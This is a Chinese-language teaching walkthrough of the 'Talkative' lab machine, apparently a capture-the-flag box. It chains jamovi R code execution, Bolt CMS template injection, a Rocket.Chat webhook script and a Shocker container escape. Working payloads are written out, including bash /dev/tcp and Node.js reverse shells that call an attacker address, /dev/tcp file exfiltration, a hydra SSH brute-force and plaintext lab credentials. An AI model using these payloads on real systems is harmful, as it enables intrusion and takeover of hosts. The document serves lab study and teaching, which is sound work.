Talkative 靶机渗透测试教学文档
文档概述
本文档旨在详细解析“Talkative”靶机的渗透测试过程。该靶机是一个中等难度的环境,融合了多种现实世界中常见的漏洞,包括:
- jamovi 软件远程代码执行
- Bolt CMS 的 CSRF 令牌绕过与服务器端模板注入
- Rocket.Chat 的 WebHook 代码注入
- 利用
CAP_DAC_READ_SEARCH能力实现 Docker 容器逃逸
通过本次学习,您将掌握从外部侦察到最终获取 root 权限的完整攻击链。
第一阶段:信息收集
信息收集是渗透测试的基石,目标是尽可能多地了解目标系统的网络结构、开放端口、运行服务及版本信息。
1. 网络发现与端口扫描
攻击者首先使用 nmap 和 masscan 对目标 IP 10.10.11.155 进行全面的端口扫描。
-
关键命令:
# 组合使用 masscan 进行快速全端口扫描,再用 nmap 进行服务版本探测 $ ip='10.10.11.155'; itf='tun0'; $ ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//') $ nmap -Pn -sV -sC -p "$ports" "$ip" -
扫描结果分析:
端口 服务 版本 关键信息 80/tcp HTTP Apache httpd 2.4.52 重定向到 http://talkative.htb3000/tcp HTTP Meteor (Rocket.Chat) 实例ID: 9SCewRm6iooYHg83F8080/tcp HTTP TornadoServer 5.0 服务标题: jamovi8081/tcp HTTP TornadoServer 5.0 标题: 404: Not Found8082/tcp HTTP TornadoServer 5.0 标题: 404: Not Found -
行动: 将域名
talkative.htb添加到本地的/etc/hosts文件中,以便正常访问虚拟主机。$ echo '10.10.11.155 talkative.htb' >> /etc/hosts
2. Web 应用指纹识别
- 端口 80 (talkative.htb): 运行的是 Bolt CMS。通过访问
http://talkative.htb/bolt/login确认了后台登录页面。 - 端口 3000: 运行的是 Rocket.Chat,一个开源聊天平台。
- 端口 8080: 运行的是 jamovi,一款基于 R 语言的开源统计分析软件。
第二阶段:初始访问 - 通过 jamovi 获取 Shell
漏洞利用:jamovi 远程代码执行
jamovi 的一个核心功能是允许用户通过 R 语言 进行数据分析。其 “Rj” 编辑器允许执行任意 R 代码,这天然地导致了远程代码执行。
-
利用步骤:
- 访问 jamovi: 打开
http://10.10.11.155:8080/,会分配一个随机的会话 ID,例如?id=ef1c95bb-078d-4366-bc37-e8ae74cb5380。 - 执行 R 代码:
- 导航到
Analyses->R->Rj编辑器。 - 在编辑器中输入以下 R 代码,用于反弹一个 Shell 到攻击者的机器(
10.10.16.16:443)。
system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.16/443 0>&1'", intern=TRUE); - 导航到
- 接收 Shell: 在攻击机上使用
nc -lvnp 443监听,执行 R 代码后即可获得一个反向 Shell。
- 访问 jamovi: 打开
-
技巧:容器内信息收集
获得的 Shell 位于一个 Docker 容器中,并且可能受到限制。文中提到了一种绕过限制进行文件传输的方法:使用/dev/tcp进行文件上传和下载。- 从攻击机下载文件到容器:
# 攻击机 Host $ nc -l -p 445 < namp # 容器内 Victim $ cat < /dev/tcp/10.10.16.16/445 > /tmp/nmap - 从容器上传文件到攻击机:
# 容器内 Victim $ cat /etc/hosts > /dev/tcp/10.10.16.16/445
使用此方法将
nmap二进制文件传入容器,以便进行内网扫描。 - 从攻击机下载文件到容器:
-
内网探测:
在容器内使用nmap扫描172.17.0.0/24网段,发现多个活跃主机,其中172.17.0.4是运行 Bolt CMS 的容器。
第三阶段:横向移动 - 攻陷 Bolt CMS
1. 获取 Bolt CMS 凭证
在 jamovi 容器内,发现了一个 jamovi 数据文件 bolt-administration.omv。将其下载到本地分析,从中找到了 Bolt CMS 的用户名和密码。
- 发现的凭证:
matt@talkative.htb : jeO09ufhWD<sjanit@talkative.htb : bZ89h}V<S_DAsaul@talkative.htb : )SQWGm>9KHEA
2. 漏洞利用:CSRF 令牌绕过与 SSTI
直接使用 admin:jeO09ufhWD<s 登录 Bolt CMS 后台 (http://talkative.htb/bolt/login) 时,可能会遇到 CSRF 令牌的阻碍。
-
绕过 CSRF 保护:
使用 Burp Suite 的 Macro 功能可以自动化先请求登录页面,提取最新的 CSRF 令牌,然后将其用于登录请求。这是一种常见的自动化绕过技术。 -
服务器端模板注入:
登录 Bolt CMS 后台后,发现存在文件编辑功能,特别是模板文件。- 定位模板文件: 访问
http://talkative.htb/bolt/file-edit/themes?file=/base-2021/index.twig。 - 注入恶意代码: 在模板文件中插入 Twig 模板引擎的代码执行语句:
{{['/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.16/443 0>&1"']|filter('system')}} - 触发 SSTI: 为了使模板更改生效,需要清除缓存。访问
http://talkative.htb/bolt/clearcache。清除缓存后,访问网站前台任意页面,注入的代码将被执行,攻击机再次获得一个反向 Shell,这次是www-data用户,在 Bolt CMS 的容器 (172.17.0.4) 中。
- 定位模板文件: 访问
第四阶段:横向移动 - 攻陷 Rocket.Chat 与宿主主机
1. 搭建隧道,访问内部服务
现在身处 Bolt CMS 容器,需要访问 Rocket.Chat (172.17.0.3:3000) 和宿主机的 SSH 服务 (172.17.0.1:22)。由于网络隔离,需要使用隧道工具。
- 使用 Chisel 搭建 SOCKS 代理:
- 服务端 (攻击机):
./chisel server -p 8888 --reverse - 客户端 (Bolt 容器):
./chisel client 10.10.16.16:8888 R:socks - 配置代理: 在攻击机上配置
proxychains,将流量导向 SOCKS 代理端口(默认 1080)。
- 服务端 (攻击机):
2. 爆破内网 SSH 服务
通过代理,使用 hydra 对 172.17.0.1 的 SSH 服务进行密码爆破。
$ proxychains hydra -L ./user.txt -P ./pass.txt ssh://172.17.0.1
成功爆出用户 saul 的密码是 jeO09ufhWD<s。
- 建立 SSH 动态转发:
通过代理使用sshpass登录到宿主机,并建立一个 SOCKS5 隧道,方便后续访问 Rocket.Chat 的 Web 界面。$ proxychains sshpass -p 'jeO09ufhWD<s' ssh -D 9999 saul@172.17.0.1
3. 漏洞利用:Rocket.Chat WebHook 代码注入
- 信息收集: 通过代理访问
http://172.17.0.3:3000,发现需要登录。之前爆破得到的密码可能重复使用。尝试用saul@talkative.htb:jeO09ufhWD<s登录 Rocket.Chat 成功,并且用户saul拥有管理员权限。 - 利用过程:
- 访问管理面板: 以管理员身份进入 Rocket.Chat,导航到
Administration->Integrations->New Integration,创建一个 Incoming Webhook。 - 注入恶意代码: 关键点在于 “Script” 字段。这个字段允许编写 JavaScript 代码,并在处理 Webhook 请求时在服务器端执行。Rocket.Chat 的集成功能使用了不受限制的 Node.js
vm模块或类似机制,导致代码注入。 - 利用代码: 在 “Script” 字段中填入以下代码,用于反弹 Shell 到 Rocket.Chat 容器中。
(function(){ const require = console.log.constructor('return process.mainModule.require')(); var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(4443, "10.10.16.16", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing })(); - 触发执行: 保存 Webhook 后,会生成一个 URL。使用
curl向这个 URL 发送一个 POST 请求,即可触发脚本执行。$ curl http://172.17.0.3:3000/hooks/your_webhook_id/your_token
rocket。 - 访问管理面板: 以管理员身份进入 Rocket.Chat,导航到
第五阶段:权限提升 - Docker 容器逃逸至 Root
1. 发现特权能力
在 Rocket.Chat 容器内,使用 deepce.sh 等工具进行枚举,发现该容器拥有一个危险的 Linux 能力:CAP_DAC_READ_SEARCH。
- 能力说明:
CAP_DAC_READ_SEARCH能力允许进程绕过文件系统的读权限和目录的读/执行权限检查。这意味着即使没有读权限,也可以读取任何文件。
2. 容器逃逸利用
拥有 CAP_DAC_READ_SEARCH 能力,可以利用一个经典的容器逃逸漏洞(如 Shocker 攻击)。其核心是使用 open_by_handle_at 系统调用,通过文件句柄直接访问宿主机的文件系统。
- 利用步骤:
- 上传利用代码: 将公开的 PoC 代码(如
shocker.c)上传到容器中。 - 编译: 在容器内编译该代码。
gcc shocker.c -o shocker -static - 执行利用: 运行编译好的程序。该程序会暴力破解文件句柄,最终读取宿主机上的任意文件,例如
/etc/shadow或/root/root.txt。
程序成功输出了宿主机的$ ./shocker/root/root.txt内容,直接完成了从容器内到宿主机 root 权限的逃逸。
- 上传利用代码: 将公开的 PoC 代码(如
总结与关键知识点
- 软件功能滥用: jamovi 的 R 代码执行功能本用于统计计算,但未做安全限制,导致 RCE。
- 弱凭证与密码复用: 在多个系统(jamovi 文件、Bolt CMS、SSH)中发现并使用相同的密码,是横向移动的关键。
- CSRF 与 SSTI 的组合拳: 在 Bolt CMS 中,通过自动化工具绕过 CSRF 防护,再利用模板编辑功能实现 SSTI。
- WebHook 的服务器端代码注入: Rocket.Chat 的 WebHook “Script” 功能本意是自定义处理逻辑,但提供了过高的执行权限,相当于一个后门。
- Linux 能力与容器逃逸:
CAP_DAC_READ_SEARCH是一个危险的能力,在容器化环境中应极其谨慎地授予。它可以直接导致容器逃逸。 - 隧道技术: 在复杂的多层级网络环境中,熟练使用
chisel,proxychains, SSH 动态转发等隧道技术是横向移动的必备技能。
通过这个靶机,可以清晰地看到一条从外部攻击到完全控制内部核心系统的完整攻击链,对理解现代网络攻防有极高的教学价值。